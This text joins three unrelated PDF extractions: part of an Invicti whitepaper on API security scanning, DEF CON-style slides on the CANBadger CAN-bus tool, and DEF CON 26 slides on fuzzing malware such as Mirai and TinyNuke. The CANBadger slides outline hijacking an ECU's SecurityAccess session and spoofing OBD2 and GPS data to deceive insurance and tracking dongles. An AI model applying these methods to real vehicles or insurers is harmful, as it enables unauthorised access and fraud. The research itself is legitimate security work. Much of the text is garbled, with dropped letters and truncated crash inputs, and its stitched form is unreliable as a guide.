attacks via APIs Anyone researching web API security will soon find that the term is used in two very different senses. One usage relates to securing access to the API itself, while the other is about securing the underlying applications and services against attacks that come through that API. Understanding the difference is crucial for selecting the right tools and methods, so here is a brief overview: For the vast majority of web APIs, getting access that allows you to make API calls is only possible with the proper authorization. This usually requires an access key combined with some form of automated authentication to verify that the requesting system is permitted to access the API in the first place. Attacks on APIs focus on bypassing access controls to then allow threat actors to make API calls that target the underlying applications or services. Once attackers have obtained API access by bypassing access controls or simply finding an unsecured endpoint, they can start probing the application in the hope of finding exploitable vulnerabilities. At this point, they can use the whole array of available web application exploits – with the added bonus that they are now using an access path designed specifically for remote and automatic use. Figure 1. Attacks on APIs are about getting access to the interface itself. Figure 2. Attacks via APIs are about using API access to attack the underlying application. Attacks on APIs Attacks via APIs Cover Your APIs: Securing Your Hidden Web Attack Surface 6 Web API glossary Application programming interface (API): A connection for exposing software functionality to other systems and applications. This is a general programming concept, not limited to web development. An API defines a request format and a return format. Web API: An interface for accessing web-based software. There are many models and standards for defining and calling web APIs, the most widely used model being REST. Any sizable web application is likely to have an API somewhere to allow automated access to selected functionality. For example, an e-commerce platform may provide sellers with a manual form for adding single items while also exposing an API endpoint for adding items in bulk from third-party inventory management applications. Web service: Web-based code that is not a standalone application but only performs a specific operation. Web services are only accessible through their interfaces, so whenever you have a web service, you also have an API. While the opposite is not true (because systems and applications can also have APIs), you will often see the terms web API and web service used interchangeably. API endpoint: The URL for calling a specific web API. The endpoint is the address to which API requests and parameters are sent. What endpoints are exposed, how they are accessed, and what format the requests should be depends entirely on the API type and design. Ideally, all endpoints should be listed and documented in the API specification. Cover Your APIs: Securing Your Hidden Web Attack Surface 7 Common web API types REST: Short for REpresentational State Transfer, REST is by far the most popular type of web API. Rather than a strictly-defined format or protocol, REST is a general style of web application architecture that sets out guidelines for designing and implementing HTTP communication between web-based systems and components. Each operation available through a RESTful API corresponds to a different endpoint (URL). A list of all the endpoints along with their parameters and data formats makes up the API specification. JSON is the most widely used data format, but XML and others are also supported. SOAP: Originally called XML-RPC, SOAP was the first widely-used standard for web service communication. SOAP uses XML messages to exchange requests and responses. SOAP was created to be universal, extensible, and technology-agnostic, which makes it relatively difficult to use and optimize compared to HTTP-based REST communication, especially for simple scenarios. However, being a full-featured protocol with its own service description language (WSDL), it is well suited for more complex communication. GraphQL: The newcomer in this list, GraphQL introduced the ability to query APIs in a similar way to databases. A single GraphQL endpoint receives queries, passes them to a resolver, and returns only the requested data. This allows clients to get exactly the information they need in a single request instead of assembling it across multiple calls. When the introspection feature is enabled, developers can interactively query a GraphQL endpoint to discover what data it can provide. While still relatively new, GraphQL is rapidly gaining popularity because of its usefulness for applications that work with very large data sets, and its adoption can only accelerate in the coming years. Cover Your APIs: Securing Your Hidden Web Attack Surface 8 Meet your ever-growing web attack surface An external API is essential for any web app that needs to interact or integrate with other software. In that respect, APIs are the glue that holds together the entire modern web. They make it possible to add communication between all kinds of systems, fueling innovation and unlocking new business opportunities. Mashups, from content aggregators to enterprise dashboards, are a prime example of apps that rely on content and functionality from external sources, retrieved and manipulated via APIs. In the enterprise software world, APIs are crucial for integration and customization. For example, Invicti products provide dozens of REST API endpoints that allow organizations to automatically run vulnerability scans, fetch results, manage users, and perform many other operations. In this case, the API makes it possible to integrate vulnerability testing into existing workflows and customize out-of-the-box integrations where necessary. Crucially for security and data confidentiality, only authorized and licensed users can make such API calls. One thing is certain: if you have web applications, you already have APIs somewhere in your web attack surface today. The original use case for adding them was to extend access to application functionality beyond the graphical user interface, most notably for integrations and automation. With the move to service-oriented architectures and agile development, it became clear that APIs and the services behind them were taking center stage as one of the fundamental building blocks of modern web apps. In terms of security, the web application has gone from one big target to hundreds of little targets – and that means hundreds of potential entry points to defend. In general, APIs require a unique access key to confirm that requests are authorized. All requests to non-public APIs also need to be authenticated, with single sign-on now being the norm for enterprise applications. If either authorization or authentication is weak or missing, threat actors may be able to send API calls to the underlying application or service to extract or modify data. Worse still, if undocumented API endpoints make it into production, they are likely to be less secure than official endpoints, either because they were never intended to be publicly accessible or because they slipped under the testing radar. In by the service door: APIs for extending access Cover Your APIs: Securing Your Hidden Web Attack Surface 9 Modern web apps routinely use API calls to exchange information between components, especially with the move to microservices and serverless architecture. Rather than storing and executing all application code on a central server, developers implement operations as separate web services that communicate via APIs. Depending on the design choices, a single web application can be made up of dozens of services or hundreds of microservices. This API-driven approach enables agile development and rapid innovation, as teams can work in parallel to build independent components without waiting on a bigger release. With so much functionality now deployed as granular services, web APIs can also serve as a standalone multi-purpose back-end. The same API can then deliver data and perform operations for multiple websites, business systems, mobile apps, IoT devices, and more. With back-end services doing the heavy lifting, it becomes simpler and faster to create new applications. Again, this helps to drive innovation by focusing time-sensitive efforts on building the right front-end and business logic to get maximum benefits from existing back-end services. For all its benefits, spreading access to data and functionality across dozens of standalone services has major security implications. Instead of having just a single central application to test and secure, organizations now also have a nebula of web services, each a target in its own right. The convenience of automated access by design is a double-edged sword, giving malicious actors much more freedom to craft and conduct attacks on a massive scale with less chance of arousing suspicion. Combined with the risk of undocumented and inadequately secured endpoints, this makes APIs a fast-growing vector for cyberattacks with their many possible consequences, from data breaches and denial of service to ransomware deployments. APIs in service-based applications: Every app is a hundred apps Figure 3. Even monolithic legacy applications often have an eternal API for integration and data exchange that comprises part of their attack surface. Figure 4. Modern web applications not only have external-facing APIs but are themselves made up of dozens of microservices, each with its own API – all contributing to the overall attack surface that you need to test. Cover Your APIs: Securing Your Hidden Web Attack Surface 10 Building API scanning into your AppSec program Automated vulnerability scanning is a crucial part of any mature AppSec program, especially with sprawling web application environments that change frequently, often on a daily basis. To know your true security posture, you need to cover your entire web attack surface, which means scanning your web assets both through UIs and via APIs – and scanning both in development and in production. To complicate matters further, APIs can change and expand much faster than user-facing interfaces, making purely manual testing impractical and strengthening the case for efficient and accurate scanning. Research shows that security often takes a back seat when release deadlines loom, and this goes doubly for APIs. Whether they are perceived as less exposed or are simply harder and more time-consuming to find and test, API security can slip out of mind when time is short. This is especially true when a separate toolchain is needed for the API part of security testing, further increasing the risk that time pressures will cause vulnerabilities to slip into production. Incorporating APIs into the overall AppSec testing strategy presents a major technical and organizational challenge. To maximize test coverage without stopping development pipelines to wait for results, you need sufficiently advanced tooling and a systematic approach to application security to make it all work without having to chain together multiple tools and processes. Here is how Invicti makes this possible. When scanning websites and applications, vulnerability scanners crawl pages and follow links to build up a list of URLs for testing. But you can’t crawl an API – you simply have to know the URLs of the API endpoints you want to test. For this, you need API definition files that are created during development and maintained across the entire lifetime of a production application. You also need to support all the popular definition formats, know the type of API, and have accurate security checks ready to probe the application via that interface. Invicti provides vulnerability scanning support for the most popular API types, namely REST, SOAP, and GraphQL. Users can import API definition files in industry-standard formats, including Postman, OpenAPI/Swagger, WADL, and WSDL. In practice, this means that as long as you have the definition files and keep them updated, your automated security testing process can routinely cover both the UI and APIs during vulnerability scanning. And if you don’t yet have an application security testing process that is integrated into your software development life cycle (SDLC), building one is crucial to ensure that security can keep up with the pace of development. Get the API definitions so you know what to test Cover Your APIs: Securing Your Hidden Web Attack Surface 11 API definitions are prepared and maintained by development teams, so integrating vulnerability testing into the development pipeline makes it far easier to include APIs in security testing workflows. Invicti designs its AppSec solutions with SDLC integration in mind, which makes them a natural fit for API testing. By adding API definitions as they are created and updated, developers can ensure that every vulnerability scan covers the entire existing attack surface at every stage where security testing is integrated, including once an application is in production. Invicti’s out-of-the-box integrations with popular issue trackers, CI/CD systems, and collaboration tools allow companies to plug automated security testing – APIs included – into their existing workflows for maximum efficiency. Combined with extremely accurate security checks and actionable vulnerability reports complete with remediation guidance, this is a tried and true way of bringing measurable security improvements without burdening development teams with external workflows or separate toolchains. Integrate API testing into your development lifecycle To make sure that you have the same level of protection all across your application, you need to use the same security checks for API-based testing and conventional testing. While this would be extremely hard to do with separate tools, Invicti makes it possible by consistently probing the entire attack surface using one integrated solution. By running the same high-quality tests both on interactive pages and on API endpoints, you can eliminate weak spots in your overall security posture. As ever with automated testing, you need to strike the right balance between finding vulnerabilities and minimizing false positives. This is where Invicti’s track record is second to none in the industry, with automatic vulnerability confirmation taking the guesswork out of dealing with application security reports for the majority of exploitable vulnerabilities. With well over a thousand security checks accumulated, expanded, and continuously improved since the earliest days of vulnerability scanning, combined with cutting-edge technologies such as IAST, Invicti can help to bring effective and practical application security testing into any modern web development workflow. Ensure consistent accuracy across the entire application Authentication is another common stumbling block for automated security testing. In a world where very few sensitive resources are deliberately exposed to unauthenticated users, authenticated vulnerability scanning is already an important requirement when testing websites and applications. Since all APIs require some kind of authentication, support for authenticated scanning is an absolute necessity to allow the scanner to access API endpoints for testing. From basic authentication to single sign-on with OAuth2, Invicti ensures support for all popular authentication methods used by modern web applications and APIs. Authenticated vulnerability scanning provides maximum test coverage and the most realistic picture of your real-life security posture across all web-facing assets, including websites, applications, web services, and APIs. Enforce authenticated scanning Cover Your APIs: Securing Your Hidden Web Attack Surface 12 Modern applications require modern AppSec If you have web applications, you also have web APIs – and you need to secure both to avoid weak links in your security posture. Not that long ago, manual testing was the only way to check the API part of your web attack surface, but manual tools and processes cannot hope to keep up with the pace of modern web development. With enterprise applications being rapidly built from dozens of services or hundreds of microservices all communicating through APIs, extending automated vulnerability scanning to cover APIs was the logical next step for web application security – but that required advanced technical solutions and efficient workflow integration. Invicti provides a single platform for comprehensive web application security testing, covering both the visible and the hidden parts of your web attack surface. As you are using our industry-leading scanning technology in development and production, you can also ensure that your web APIs are subjected to the same level of vulnerability testing. All this is integrated into your existing workflows without clunky add-on toolchains or waiting for external security testing. You now have all you need to scan and continuously secure your entire web attack surface – so get to it before the next attack comes. Cover Your APIs: Securing Your Hidden Web Attack Surface13 FIND US twitter.com/invictisecurity facebook.com/invicti-security linkedin.com/company/invicti-security Invicti Security is changing the way web applications are secured. An AppSec leader for 15 years, Invicti delivers DAST, IAST, and SCA technologies that empower organizations in every industry to continuously scan and secure all of their web applications and APIs with a highly integrated, automated approach spanning the entire software development lifecycle. Invicti is headquartered in Austin, Texas, and serves more than 3,000 organizations of all sizes all over the world.
pdf
CAN I haz car secret plz? Javier Vazquez Vidal Henrik Ferdinand Nölscher Who are we? • Javier is a Hardware Security Specialist • Works at Code White as a Product Security Engineer • He is from Cadiz (Spain) • Enjoys reversing products that are interesting, or could potentially be more fun • Likes ake hen it’s not a lie and bbqs Who are we? • Ferdi works as an Information Security Specialist at Code-White in Ulm • Among many things, he likes pwning stuff, lasers and BBQs • Likes big busses and he cannot lie What options did we have? Current Car Hacking status • Focus is on the CAN bus • Replay attacks and/or packet injection • Some researchers also found remote exploits to take control of certain vehicles • There are some tools to help understand the UDS protocol • Chiptuning is actually hacking • ECUs are cloned • Internal data is manipulated • OEM specific Diagnostics are more fun than standard ones Is there anything else? So, what’s the secretz? • UDS is not the only protocol • TP2.0 (Tunneling Protocol) is the CAN version of KWP2000 • Both offer a series of services which are very interesting, but often not taken into consideration. • With use of these services, a lot of Information can be gathered and modified. UDS VS TP 2.0 -> TP 2.0 Channel Negotiation UDS VS TP 2.0 -> TP 2.0 Transmission UDS VS TP 2.0 -> UDS Transmission Some of the differences between UDS and TP SIDs The most interesting Services • SecurityAccess (0x27): Allows access to restricted Services • ReadMemoryByAddress (0x23): Allows to read certain memory addresses • Read/WriteDataByID(0x22/0x2E): Allows to read/write certain parameters • RequestUpload(0x35): Service used to retrieve firmware from the ECU • RoutineControl3: Allos to start routines, hih hae different effets Say hello to the CANBadger! CANBadger Hardware Overview • Powered by mBed LPC1768 or LPCXPresso LPC1769 • 128KB XRAM • 2x DB9 CAN Interfaces + 2x Debug headers • SD card • ECU Power control by software • UART • 4 GPIOs • Standalone mode, USB mode (CDC Device), or Network mode • Can be powered by PSU, External battery, or OBD2 • Has a blinky dual color LED. Everyone loves blinky LEDs, right? • Complete board assembly under $25 CANBadger POC Firmware Features • All actions are handled by the CANBadger firmware • Supports UDS, TP2.0 and RAW CAN • Diagnostics Sessions are interactive (realtime) • MITM with rules stored in SD • Hijack SecurityAccess • Emulate SIDs/PIDs from log • Dump Data Transfers to SD • Log UDS and TP2.0 traffic with very detailed verbosity in standard or bridge mode • Log RAW CAN traffic in standard or bridge mode • Detect CAN speed • Ethernet for use with GUI Protocol Analysis • Many SIDs already included in firmware • Extremely fast to add support for new SIDs • High verbosity • Logging and parsing is done by the CANBadger firmware • Logs are stored in the SD card and can be viewed and retrieved without removing it • Works with UDS and TP2.0 TP2.0 and UDS Interactive Session • No scripting required • Allows to perform actions on the go • Built-in scanners for SID parameters MITM • Handled by the CANBadger Firmware (real-time!) • Rules are set for specific IDS • Manipulate individual bytes: • Swap for fixed value • Add, substract, multiply, divide • Increase or decrease percent • Conditions can be set to: • Whole payload matches • Specific bytes match • Specific bytes are greater or smaller than X value CANBadger Server • Remotely control multiple CanBadgers! • Simple UDP Protocol Node2Server Node2Node • Cross-Platform Python Qt for GUI Hackable Protocol Abstractions • Displays status for connected CANBadgers • All operations organized in tabs • Easily modify/add parameters and perform actions • Exchange data between tabs CANBadger Server SecurityAccess Hijack. Why? • OEM tools and some third-party tools authenticate themselves to ECUs in order to gain access to restrited features. Who doesn’t like restricted stuff? • These tools have fixed functions, so you have no control over the process other than pressing buttons. • Because you CAN! SecurityAccess Hijack. How? • Wait for a SecurityAccess request in transparent bridge mode • Switch to the desired type of Diagnostics Session • SecurityAccess auth is forwarded • Success? Cut off the external tool and take control over the Session! So, we survived the demo (hopefully!) • What else can the CANBadger do? • Dump TP and UDS transfers, which are used for firmware updates. • Spoof OBD2 data thru MITM and Emulator • Use GPIO pins for bootloading (Tricore f.ex) • Manipulate GPS signals via UART pins Wait, why did you mention GPS? Insurance and Tracking dongles • They implicitly trust the car though they cannot really know where the OBD2 data is coming from • They are dependent on a GPS module that outputs data via UART • By spoofing the OBD2 data, you can hae our on driing haits • By spoofing your location, well, you an guess… • Mix both of them • ??? • Profit! Insurance and Tracking dongles How does the emulator work? • The CANBadger will make requests for specified PIDs every 10 ms in a loop during desired time, dumping the replies to SD. • Once the data is stored, you can choose from which IDs, SIDs and PIDs you want to create emulation files. How does the emulator work? • The emulator data is mapped into the XRAM. • The first 0x800 bytes are lookup tables which contain ID, Protocol, SID, PID, Start Offset and End Offset • All requests from the victim are passed to the target system. • When a reply is received from the target, the CANBadger will lookup these tables to see if an entry is found for it. • If an entry is found, it will pass the emulated data instead of the original one. How does the emulator work? • Emulation data is stored with timestamps. • The CANBadger will pass the appropriate data for each moment, so even if requests are random, data will still be right. • The emulation data is optimized, storing only changes within the timeframe. • When there is no more emulation data left for the current timeframe, the whole emulation will be restarted from the beginning Wanna see moar? • We ill e aiting for ou at the You CAN haz car secretz orkshop, ready to answer all your questions and to provide more info. • Do you want to assemble your own CANBadger like, right now? Come visit us! • Code and schematics are GPL and will be uploaded to github shortly after DC Thanks! • To all of you for being here today! • To Code White for their support and trust in the project • To our family and friends for supporting us even when we run out of coffee Javier Vazquez @fjvva [email protected] Ferdinand Nölscher @s1ckcc [email protected]
pdf
Fuzzing Malware for Fun & Profit. Applying Coverage-Guided Fuzzing to Find Bugs in Modern Malware Maksim Shudrak DEF CON 26 About Me BIO 2018 – present: Senior Offensive Security Researcher 2016: Defended PhD (Vulns Hunting) in Tomsk, Russia 2015-2017: Researcher, IBM Research, Haifa, Israel 2011-2015: Security Researcher, PhD student Interests Vulnerabilities Hunting Fuzzing Reverse-engineering Malware Analysis Dynamic Binary Instrumentation Projects Drltrace – transparent API-calls tracing for malware analysis https://github.com/mxmssh/drltrace WinHeap Explorer – PoC for heap-based bugs detection in x86 code https://github.com/WinHeapExplorer/WinHeap-Explorer IDAMetrics – IDA plugin for machine code complexity assessment https://github.com/mxmssh/IDAmetrics Introduction & Motivation Why coverage-guided fuzzing ? Fuzzer overview & architecture Fuzzer usage & demo Case Studies. Mirai + vulnerability demo Case Studies. TinyNuke, KINS, Dexter Discussion, Future Work & Conclusion Motivation . Complex Parsers - ☺ Motivation . Complex Parsers I am so #@$%^* tired of writing this algorithm. Motivation . Complex Parsers Motivation. Low Code Quality Motivation. It is Fun! Related Works ● DEF CON 25 Offensive Malware Analysis: Dissecting OSX/FruitFly via a Custom C&C Server by Patrick Wardle ● DEF CON 25 Digital Vengeance: Exploiting the Most Notorious C&C Toolkits by Professor Plum ● Targeted attacks: From being a victim to counter attacking by Andrzej Dereszowski (SIGNAL 11) ● Malware fuzzing: ○ Rasthofer, S., Arzt, S., Triller, S. and Pradel, M., 2017, May. Making malory behave maliciously: Targeted fuzzing of android execution environments. In Software Engineering (ICSE), 2017 IEEE/ACM 39th International Conference on (pp. 300-311). IEEE. ○ F. Peng, Z. Deng, X. Zhang, D. Xu, Z. Lin, and Z. Su. X-force: Force executing binary programs for security applications. In Proceedings of the 2014 USENIX Security Symposium, San Diego, CA (August 2014), 2014 Legal Issues ● Hacking-back is mostly illegal ○ Attack attribution is very hard and might lead to wrong conclusions ○ Hard to identify scopes of attack ○ Check out last year DEF CON Professor Plum’s presentation for more details: ■ https://www.youtube.com/watch?v=fPhkmAdWH-I ● BUT no one can prohibit us to search for bugs in malware Possible Benefits. Local Deny of Service (agent) Possible Benefits. Remote Deny of Service (agent) Benign service Botnet DDoS-attack Possible Benefits. Remote Deny of Service (agent) Benign service Botnet Possible Benefits. Remote Deny of Service (agent) Benign service Botnet Possible Benefits. Remote Code Execution (agent) 1. Take control over botnet or shutdown botnet 2. Track down botnet owners 3. ????? 4. PROFIT Possible Benefits. Remote Code Execution in C&C Fuzzing ● Nowadays, fuzzing is a state-of-the-art approach to find bugs in modern applications ● Fuzzing is a part of SDLC ● Fuzzing is very important for applications & OS security Fuzzing What is Coverage-Guided Fuzzing ? What is Coverage-Guided Fuzzing ? What is Coverage-Guided Fuzzing ? What is Coverage-Guided Fuzzing ? Why Coverage-Guided Fuzzing ? ~minutes for AFL and thousand years for dump fuzzer State-of-the-art Coverage-Guided Fuzzers ● AFL ○ http://lcamtuf.coredump.cx/afl/ ● Libfuzzer ○ https://llvm.org/docs/LibFuzzer.html ● AFL’s forks ○ kAFL – AFL for kernel-level fuzzing ○ WinAFL – AFL fork for Windows binaries fuzzing ○ and many others: https://github.com/mirrorer/afl/blob/master/docs/sister_projects.txt AFL Source Code Instrumentation Approach ● Custom gcc (afl-gcc) compiler is used to inject instrumentation routines for each basic block ● Main routine after instrumentation looks like this: Challenge I. Source Code No Source Code Challenge II. Obfuscation Challenge III. Encryption ● Most C&C channels are encrypted ● We need to encrypt our test case the same way as malware to be able to find bugs ● By default, AFL doesn’t support encryption, checksums and crypto signatures generation ○ There is a post processor library to deal with that WinAFL ● WinAFL is a port of AFL for Windows. Rely on DynamoRIO dynamic binary instrumentation framework. ○ No need for source code access ○ Open-source ○ Fast-enough to use for coverage-guided fuzzing https://github.com/ivanfratric/winafl https://github.com/DynamoRIO/dynamorio Dynamic Binary Instrumentation (DBI) is a technique of analyzing the behavior of a binary application at runtime through the injection of instrumentation code. How Does DynamoRIO Work ? (10000 foot view) Target application Launcher DynamoRIO Application in memory Kernel shared system libs How Does DynamoRIO Work ? (10000 foot view) Target application Launcher DynamoRIO Launch (suspended) (1) Application in memory Kernel shared system libs . . How Does DynamoRIO Work ? (10000 foot view) Launcher DynamoRIO Launch (suspended) (1) Application in memory Kernel (2) Inject instrumentation library Target application shared system libs Target application shared system libs How Does DynamoRIO Work ? (10000 foot view) Launcher DynamoRIO Launch (suspended) (1) Application in memory Kernel (3) Hook entry point DynamoRIO lib + user-defined libs Target application shared system libs How Does DynamoRIO Work ? (10000 foot view) Launcher DynamoRIO Launch (suspended) (1) Application in memory Kernel (3) Hook entry point DynamoRIO lib + user-defined libs ins2 basic block ins3 ins1 Take first basic block (4) Target application shared system libs How Does DynamoRIO Work ? (10000 foot view) Launcher DynamoRIO Launch (suspended) (1) Application in memory Kernel (3) Hook entry point DynamoRIO lib + user-defined libs ins2 basic block transformation (5) ins1 ins2 DR’s ins6 ins3 ins1 Code cache DR’s ins1 DR’s ins2 DR’s ins3 DR’s ins4 DR’s ins5 ins3 (4) Take first basic block Target application shared system libs How Does DynamoRIO Work ? (10000 foot view) Launcher DynamoRIO Launch (suspended) (1) Application in memory Kernel (3) Hook entry point DynamoRIO lib + user-defined libs Take first basic block (4) ins2 basic block transformation (5) ins1 ins2 DR’s ins6 ins3 ins1 Code cache DR’s ins1 DR’s ins2 DR’s ins3 DR’s ins4 DR’s ins5 ins3 Take next basic block (6) Challenges ● Lack of source code ● Obfuscation ● Encryption Challenges ● Lack of source code – WinAFL + DynamoRIO ● WinAFL supports only file-based fuzzing ● Obfuscation ● Encryption WinAFL patch (netAFL) Malware (main module) Malware in memory DynamoRIO shared lib winafl shared lib AFL fuzzer Fuzzer in memory User-defined encryption Client/server module WinAFL patch (netAFL) Malware (main module) Malware in memory DynamoRIO shared lib winafl shared lib AFL fuzzer Fuzzer in memory User-defined encryption Client/server module WinAFL patch (netAFL) Malware (main module) Malware in memory DynamoRIO shared lib winafl shared lib AFL fuzzer Fuzzer in memory User-defined encryption (2) Encrypt Client/server module WinAFL patch (netAFL) Malware (main module) Malware in memory DynamoRIO shared lib winafl shared lib AFL fuzzer Fuzzer in memory User-defined encryption (2) Encrypt Client/server module WinAFL patch (netAFL) Malware (main module) Malware in memory DynamoRIO shared lib winafl shared lib AFL fuzzer Fuzzer in memory User-defined encryption Coverage bitmap Shared memory (2) Encrypt (4) Update bitmap Client/server module WinAFL patch (netAFL) Malware (main module) Malware in memory DynamoRIO shared lib winafl shared lib AFL fuzzer Fuzzer in memory User-defined encryption Coverage bitmap Shared memory (2) Encrypt (4) Update bitmap (5) Estimate coverage, generate new test case Client/server module WinAFL patch (netAFL) Malware (main module) Malware in memory DynamoRIO shared lib winafl shared lib AFL fuzzer Fuzzer in memory User-defined encryption Coverage bitmap Shared memory (2) Encrypt (4) Update bitmap (5) Estimate coverage, generate new test case (6) Restart target routine Client/server module WinAFL patch (netAFL). Usage > afl-fuzz.exe –usage Fake server settings: -s - Server port to listen for incoming connections Network fuzzing settings: -a - IP address to send data in -U - Use UDP (default TCP) -p - Port to send data in -w - Delay in milliseconds before sending data User-defined cryptographic library settings: -L - Path to library with user-defined crypto User-defined CnC server settings: -l - Path to library with user-defined CnC server WinAFL patch (netAFL). User-defined Encryption & CnC ● Custom encryption function prototypes: ○ char* APIENTRY encrypt_buffer(char *buf, int buf_size) – to encrypt ○ void APIENTRY free_buffer(char *buf) – to free memory used for encrypted data ● Custom CnC function prototypes: ○ int APIENTRY cnc_init(char *port) - to init CnC ○ int APIENTRY cnc_run(char *data) - to send AFL’s test case ● There is an example distributed with winAFL patch (netAFL) TOOL DEMO 4 hours after Case Study I. Mirai 未来 Mirai. Overview Mirai. Overview ● IoT-based botnet DDoS ● Most disruptive DDoS cyber-attack in history ○ 2016 Dyn DDoS (1.2Tb/s). ○ Krebs on Security (620 Gb/s) ○ OVH DDoS (1TB/s) ● Hundreds of thousands devices across 164 countries ● Some elements of SDLC: Mirai. HTTP-response parser Mirai. Seed File GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 Host: localhost Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.8 Content-Type: application/x-www-form-urlencoded content-length: 3 Mirai. Fuzzing Statistics Mirai. Vulnerability Mirai. Crash Case GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Wndows NT 10.0; WOW64) AppleWeQKit/537.36 (KHTML, like Geckt) Chrome/51.0.2704.103 Safari/537.36 Host: location:/keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,imagv/ ,*/*;q=0.8 Accept-Language: =0.8 Content-Type: applicat n/x-www-form-urlencoded content-length: 3 LOL Mirai. Exploitation Demo Case Study II. Dexter v2 Dexter. Overview ● Point-of-sales (PoS) malware which is targeted Microsoft Windows terminals ● Steals credit/debit card details ● First known botnet that targets POS terminals (mostly in US) Dexter. Target Dexter. Vulnerability Case Study III. TinyNuke TinyNuke. Overview ● Man-in-the-browser Trojan equipped with common features: WebInjects, SOCKS, Proxy, JSON parsers and etc. ● Distributed over trojanized PDF Reader TinyNuke. Target TinyNuke. Seed File { "expand" : "attributes", "link" : { "rel" : "self", "href" : "http://localhost:8095/crowd/rest/usermanagement/1/user?username=my_username" }, "name" : "my_username", "first-name" : "My", "last-name" : "Username", "display-name" : "My Username", "email" : "[email protected]", "password" : { "link" : { "rel" : "edit", "href" : "http://localhost:8095/crowd/rest/usermanagement/1/user/password?username=my_username" } }, "active" : true, "attributes" : { "link" : { "rel" : "self", "href" : "http://localhost:8095/crowd/rest/usermanagement/1/user/attribute?username=my_username" }, "attributes" : [] } } TinyNuke. Statistics TinyNuke. Vulnerability TinyNuke. Crash Case ,[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[<truncated>[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ [[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ 